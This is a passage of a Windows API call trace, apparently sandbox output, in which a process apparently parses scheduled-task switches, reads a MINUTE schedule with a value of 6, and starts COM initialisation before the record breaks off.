(_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.494] lstrlenW (lpString="f") returned 1 [0133.494] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.494] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|s|") returned 3 [0133.494] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.494] lstrlenW (lpString="|s|") returned 3 [0133.494] lstrlenW (lpString="|f|") returned 3 [0133.494] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0133.494] SetLastError (dwErrCode=0x490) [0133.494] lstrlenW (lpString="u") returned 1 [0133.494] lstrlenW (lpString="u") returned 1 [0133.494] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.494] lstrlenW (lpString="f") returned 1 [0133.494] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.494] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|u|") returned 3 [0133.495] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.495] lstrlenW (lpString="|u|") returned 3 [0133.495] lstrlenW (lpString="|f|") returned 3 [0133.495] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0133.495] SetLastError (dwErrCode=0x490) [0133.495] lstrlenW (lpString="p") returned 1 [0133.495] lstrlenW (lpString="p") returned 1 [0133.495] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.495] lstrlenW (lpString="f") returned 1 [0133.495] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.495] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|p|") returned 3 [0133.495] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.495] lstrlenW (lpString="|p|") returned 3 [0133.495] lstrlenW (lpString="|f|") returned 3 [0133.495] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0133.495] SetLastError (dwErrCode=0x490) [0133.495] lstrlenW (lpString="ru") returned 2 [0133.495] lstrlenW (lpString="ru") returned 2 [0133.495] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.495] lstrlenW (lpString="f") returned 1 [0133.495] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.495] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|ru|") returned 4 [0133.495] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.495] lstrlenW (lpString="|ru|") returned 4 [0133.495] lstrlenW (lpString="|f|") returned 3 [0133.495] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0133.496] SetLastError (dwErrCode=0x490) [0133.496] lstrlenW (lpString="rp") returned 2 [0133.496] lstrlenW (lpString="rp") returned 2 [0133.496] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.496] lstrlenW (lpString="f") returned 1 [0133.496] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.496] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|rp|") returned 4 [0133.496] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.496] lstrlenW (lpString="|rp|") returned 4 [0133.496] lstrlenW (lpString="|f|") returned 3 [0133.496] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0133.496] SetLastError (dwErrCode=0x490) [0133.496] lstrlenW (lpString="sc") returned 2 [0133.496] lstrlenW (lpString="sc") returned 2 [0133.496] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.496] lstrlenW (lpString="f") returned 1 [0133.496] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.496] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sc|") returned 4 [0133.496] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.496] lstrlenW (lpString="|sc|") returned 4 [0133.496] lstrlenW (lpString="|f|") returned 3 [0133.496] StrStrIW (lpFirst="|sc|", lpSrch="|f|") returned 0x0 [0133.496] SetLastError (dwErrCode=0x490) [0133.496] lstrlenW (lpString="mo") returned 2 [0133.497] lstrlenW (lpString="mo") returned 2 [0133.497] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.497] lstrlenW (lpString="f") returned 1 [0133.497] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.497] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|mo|") returned 4 [0133.497] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.497] lstrlenW (lpString="|mo|") returned 4 [0133.497] lstrlenW (lpString="|f|") returned 3 [0133.497] StrStrIW (lpFirst="|mo|", lpSrch="|f|") returned 0x0 [0133.497] SetLastError (dwErrCode=0x490) [0133.497] lstrlenW (lpString="d") returned 1 [0133.497] lstrlenW (lpString="d") returned 1 [0133.497] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.497] lstrlenW (lpString="f") returned 1 [0133.497] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.497] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|d|") returned 3 [0133.497] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.497] lstrlenW (lpString="|d|") returned 3 [0133.497] lstrlenW (lpString="|f|") returned 3 [0133.497] StrStrIW (lpFirst="|d|", lpSrch="|f|") returned 0x0 [0133.497] SetLastError (dwErrCode=0x490) [0133.497] lstrlenW (lpString="m") returned 1 [0133.497] lstrlenW (lpString="m") returned 1 [0133.498] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.498] lstrlenW (lpString="f") returned 1 [0133.498] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.498] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|m|") returned 3 [0133.498] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.498] lstrlenW (lpString="|m|") returned 3 [0133.498] lstrlenW (lpString="|f|") returned 3 [0133.498] StrStrIW (lpFirst="|m|", lpSrch="|f|") returned 0x0 [0133.498] SetLastError (dwErrCode=0x490) [0133.498] lstrlenW (lpString="i") returned 1 [0133.498] lstrlenW (lpString="i") returned 1 [0133.498] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.498] lstrlenW (lpString="f") returned 1 [0133.498] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.498] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|i|") returned 3 [0133.498] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.498] lstrlenW (lpString="|i|") returned 3 [0133.498] lstrlenW (lpString="|f|") returned 3 [0133.498] StrStrIW (lpFirst="|i|", lpSrch="|f|") returned 0x0 [0133.498] SetLastError (dwErrCode=0x490) [0133.498] lstrlenW (lpString="tn") returned 2 [0133.498] lstrlenW (lpString="tn") returned 2 [0133.498] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.498] lstrlenW (lpString="f") returned 1 [0133.498] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.499] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tn|") returned 4 [0133.499] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.499] lstrlenW (lpString="|tn|") returned 4 [0133.499] lstrlenW (lpString="|f|") returned 3 [0133.499] StrStrIW (lpFirst="|tn|", lpSrch="|f|") returned 0x0 [0133.499] SetLastError (dwErrCode=0x490) [0133.499] lstrlenW (lpString="tr") returned 2 [0133.499] lstrlenW (lpString="tr") returned 2 [0133.499] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.499] lstrlenW (lpString="f") returned 1 [0133.499] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.499] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|tr|") returned 4 [0133.499] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.499] lstrlenW (lpString="|tr|") returned 4 [0133.499] lstrlenW (lpString="|f|") returned 3 [0133.499] StrStrIW (lpFirst="|tr|", lpSrch="|f|") returned 0x0 [0133.499] SetLastError (dwErrCode=0x490) [0133.499] lstrlenW (lpString="st") returned 2 [0133.499] lstrlenW (lpString="st") returned 2 [0133.499] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.499] lstrlenW (lpString="f") returned 1 [0133.499] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.499] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|st|") returned 4 [0133.499] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.500] lstrlenW (lpString="|st|") returned 4 [0133.500] lstrlenW (lpString="|f|") returned 3 [0133.500] StrStrIW (lpFirst="|st|", lpSrch="|f|") returned 0x0 [0133.500] SetLastError (dwErrCode=0x490) [0133.500] lstrlenW (lpString="sd") returned 2 [0133.500] lstrlenW (lpString="sd") returned 2 [0133.500] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.500] lstrlenW (lpString="f") returned 1 [0133.500] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.500] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|sd|") returned 4 [0133.500] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.500] lstrlenW (lpString="|sd|") returned 4 [0133.500] lstrlenW (lpString="|f|") returned 3 [0133.500] StrStrIW (lpFirst="|sd|", lpSrch="|f|") returned 0x0 [0133.500] SetLastError (dwErrCode=0x490) [0133.500] lstrlenW (lpString="ed") returned 2 [0133.500] lstrlenW (lpString="ed") returned 2 [0133.500] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.500] lstrlenW (lpString="f") returned 1 [0133.500] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.500] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|ed|") returned 4 [0133.501] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.501] lstrlenW (lpString="|ed|") returned 4 [0133.501] lstrlenW (lpString="|f|") returned 3 [0133.501] StrStrIW (lpFirst="|ed|", lpSrch="|f|") returned 0x0 [0133.501] SetLastError (dwErrCode=0x490) [0133.501] lstrlenW (lpString="it") returned 2 [0133.501] lstrlenW (lpString="it") returned 2 [0133.501] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.501] lstrlenW (lpString="f") returned 1 [0133.501] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.501] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|it|") returned 4 [0133.501] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.501] lstrlenW (lpString="|it|") returned 4 [0133.501] lstrlenW (lpString="|f|") returned 3 [0133.501] StrStrIW (lpFirst="|it|", lpSrch="|f|") returned 0x0 [0133.501] SetLastError (dwErrCode=0x490) [0133.501] lstrlenW (lpString="et") returned 2 [0133.501] lstrlenW (lpString="et") returned 2 [0133.501] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.501] lstrlenW (lpString="f") returned 1 [0133.501] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.501] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|et|") returned 4 [0133.502] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.502] lstrlenW (lpString="|et|") returned 4 [0133.502] lstrlenW (lpString="|f|") returned 3 [0133.502] StrStrIW (lpFirst="|et|", lpSrch="|f|") returned 0x0 [0133.502] SetLastError (dwErrCode=0x490) [0133.502] lstrlenW (lpString="k") returned 1 [0133.502] lstrlenW (lpString="k") returned 1 [0133.502] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.502] lstrlenW (lpString="f") returned 1 [0133.502] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.502] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|k|") returned 3 [0133.502] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.502] lstrlenW (lpString="|k|") returned 3 [0133.502] lstrlenW (lpString="|f|") returned 3 [0133.502] StrStrIW (lpFirst="|k|", lpSrch="|f|") returned 0x0 [0133.502] SetLastError (dwErrCode=0x490) [0133.502] lstrlenW (lpString="du") returned 2 [0133.502] lstrlenW (lpString="du") returned 2 [0133.502] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.502] lstrlenW (lpString="f") returned 1 [0133.502] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.502] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|du|") returned 4 [0133.502] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.502] lstrlenW (lpString="|du|") returned 4 [0133.502] lstrlenW (lpString="|f|") returned 3 [0133.502] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0133.503] SetLastError (dwErrCode=0x490) [0133.503] lstrlenW (lpString="ri") returned 2 [0133.503] lstrlenW (lpString="ri") returned 2 [0133.503] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.503] lstrlenW (lpString="f") returned 1 [0133.503] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.503] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|ri|") returned 4 [0133.503] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.503] lstrlenW (lpString="|ri|") returned 4 [0133.503] lstrlenW (lpString="|f|") returned 3 [0133.503] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0133.503] SetLastError (dwErrCode=0x490) [0133.503] lstrlenW (lpString="z") returned 1 [0133.503] lstrlenW (lpString="z") returned 1 [0133.503] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.503] lstrlenW (lpString="f") returned 1 [0133.503] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.503] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|z|") returned 3 [0133.503] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.503] lstrlenW (lpString="|z|") returned 3 [0133.503] lstrlenW (lpString="|f|") returned 3 [0133.503] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0133.503] SetLastError (dwErrCode=0x490) [0133.503] lstrlenW (lpString="f") returned 1 [0133.503] lstrlenW (lpString="f") returned 1 [0133.503] _memicmp (_Buf1=0x2cc150, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.504] lstrlenW (lpString="f") returned 1 [0133.504] _memicmp (_Buf1=0x2cc190, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.504] _vsnwprintf (in: _Buffer=0x2cc1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.504] _vsnwprintf (in: _Buffer=0x2cc1b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x17c468 | out: _Buffer="|f|") returned 3 [0133.504] lstrlenW (lpString="|f|") returned 3 [0133.504] lstrlenW (lpString="|f|") returned 3 [0133.504] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0133.504] SetLastError (dwErrCode=0x0) [0133.504] SetLastError (dwErrCode=0x0) [0133.504] GetProcessHeap () returned 0x2b0000 [0133.504] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccca0 [0133.504] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.504] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0133.504] lstrlenW (lpString="MINUTE") returned 6 [0133.504] GetProcessHeap () returned 0x2b0000 [0133.504] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd530 [0133.504] GetThreadLocale () returned 0x409 [0133.504] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0133.504] SetLastError (dwErrCode=0x0) [0133.504] GetProcessHeap () returned 0x2b0000 [0133.504] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x1fc) returned 0x2cc200 [0133.505] GetProcessHeap () returned 0x2b0000 [0133.505] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc70 [0133.505] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.505] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0133.505] lstrlenW (lpString="First") returned 5 [0133.505] GetProcessHeap () returned 0x2b0000 [0133.505] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xc) returned 0x2cd550 [0133.505] GetProcessHeap () returned 0x2b0000 [0133.505] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc40 [0133.505] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.505] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0133.505] lstrlenW (lpString="Second") returned 6 [0133.505] GetProcessHeap () returned 0x2b0000 [0133.505] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd570 [0133.505] GetProcessHeap () returned 0x2b0000 [0133.505] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc10 [0133.505] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.505] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0133.505] lstrlenW (lpString="Third") returned 5 [0133.505] GetProcessHeap () returned 0x2b0000 [0133.505] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xc) returned 0x2cd590 [0133.505] GetProcessHeap () returned 0x2b0000 [0133.505] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccbe0 [0133.505] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.505] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0133.505] lstrlenW (lpString="Fourth") returned 6 [0133.505] GetProcessHeap () returned 0x2b0000 [0133.505] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd5b0 [0133.505] GetProcessHeap () returned 0x2b0000 [0133.506] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccbb0 [0133.506] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.506] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0133.506] lstrlenW (lpString="Last") returned 4 [0133.506] GetProcessHeap () returned 0x2b0000 [0133.506] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xa) returned 0x2cd5d0 [0133.506] lstrlenW (lpString="6") returned 1 [0133.506] _wtol (_String="6") returned 6 [0133.506] GetProcessHeap () returned 0x2b0000 [0133.506] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccb80 [0133.506] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.506] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0133.506] lstrlenW (lpString="First") returned 5 [0133.506] GetProcessHeap () returned 0x2b0000 [0133.506] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xc) returned 0x2cd5f0 [0133.506] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.506] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0133.506] lstrlenW (lpString="Second") returned 6 [0133.506] GetProcessHeap () returned 0x2b0000 [0133.506] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cd610 [0133.506] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.506] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0133.506] lstrlenW (lpString="Third") returned 5 [0133.506] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.507] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0133.507] lstrlenW (lpString="Fourth") returned 6 [0133.507] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.507] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0133.507] lstrlenW (lpString="Last") returned 4 [0133.507] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x17c2e0, cchData=128 | out: lpLCData="0") returned 2 [0133.507] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.507] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0133.507] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0133.507] GetProcessHeap () returned 0x2b0000 [0133.507] GetProcessHeap () returned 0x2b0000 [0133.507] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd550) returned 1 [0133.507] GetProcessHeap () returned 0x2b0000 [0133.507] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd550) returned 0xc [0133.507] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd550 | out: hHeap=0x2b0000) returned 1 [0133.507] GetProcessHeap () returned 0x2b0000 [0133.507] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x16) returned 0x2cd550 [0133.507] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x17c300, cchData=128 | out: lpLCData="0") returned 2 [0133.507] _memicmp (_Buf1=0x2cba40, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.507] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x2cd230, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0133.507] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0133.507] GetProcessHeap () returned 0x2b0000 [0133.507] GetProcessHeap () returned 0x2b0000 [0133.507] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd570) returned 1 [0133.508] GetProcessHeap () returned 0x2b0000 [0133.508] RtlSizeHeap (HeapHandle=0x2b0000, Flags=0x0, MemoryPointer=0x2cd570) returned 0xe [0133.508] HeapFree (in: hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cd570 | out: hHeap=0x2b0000) returned 1 [0133.508] GetProcessHeap () returned 0x2b0000 [0133.508] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x16) returned 0x2cd570 [0133.508] GetLocalTime (in: lpSystemTime=0x17c530 | out: lpSystemTime=0x17c530*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x39, wMilliseconds=0x198)) [0133.508] lstrlenW (lpString="") returned 0 [0133.508] GetLocalTime (in: lpSystemTime=0x17cde8 | out: lpSystemTime=0x17cde8*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x6, wDay=0x6, wHour=0x2, wMinute=0x12, wSecond=0x39, wMilliseconds=0x198)) [0133.508] lstrlenW (lpString="") returned 0 [0133.508] lstrlenW (lpString="") returned 0 [0133.508] lstrlenW (lpString="") returned 0 [0133.508] lstrlenW (lpString="") returned 0 [0133.508] lstrlenW (lpString="6") returned 1 [0133.508] _wtol (_String="6") returned 6 [0133.508] lstrlenW (lpString="") returned 0 [0133.508] lstrlenW (lpString="") returned 0 [0133.508] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0133.578] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0133.703] CoCreateInstance (in: rclsid=0xff121ae0*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, 